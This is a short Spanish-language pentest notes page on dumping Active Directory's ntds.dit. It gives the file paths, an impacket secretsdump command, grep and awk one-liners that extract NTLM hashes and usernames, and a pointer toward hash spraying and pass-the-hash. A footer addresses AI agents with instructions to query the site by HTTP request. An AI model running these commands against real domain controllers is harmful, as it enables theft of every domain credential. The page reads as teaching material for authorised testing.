# NTDS.dit\_dumping

Si tenemos acceso a estos dos archivos podemos dumpear la base de datos **ntds.dit** (NT Directory Services Directory Information Tree) que es el archivo de base de datos principal de Active Directory en Windows Domain Controllers.

### Paso 1: Obtener los dos archivos.

Ruta de cada archivo:

```
ntds.dit-> C:\Windows\NTDS\ntds.dit
SYSTEM-> C:\Windows\System32\config\SYSTEM
```

Necesitamos tener privilegios suficientes para poder acceder a estos dos archivos:

<figure><img src="/files/JJT5sBJJlShumrVSjJLA" alt=""><figcaption></figcaption></figure>

Una vez conseguidos tendremos que dumpearlo:

```
impacket-secretdump -ntds ntds.dit -system SYSTEM LOCAL
```

<figure><img src="/files/wGKlj3MUpQXeTh1KESb5" alt=""><figcaption></figcaption></figure>

Para sacar solo los Hashes en un diccionario:

```
grep -oP 'aad3b435b51404eeaad3b435b51404ee:[0-9a-f]{32}' archivo.txt > hashes.txt
```

Para sacar solo los Usuarios en un diccionario:

```
awk -F: '/^[A-Za-z]/ {print $1}' archivo.txt > usuarios.txt
```

Ahora podemos guardar todos los hashes y hacer por ejemplo un Spray para ver con cual podemos hacer PASH-THE-HASH.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/ntds.dit_dumping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
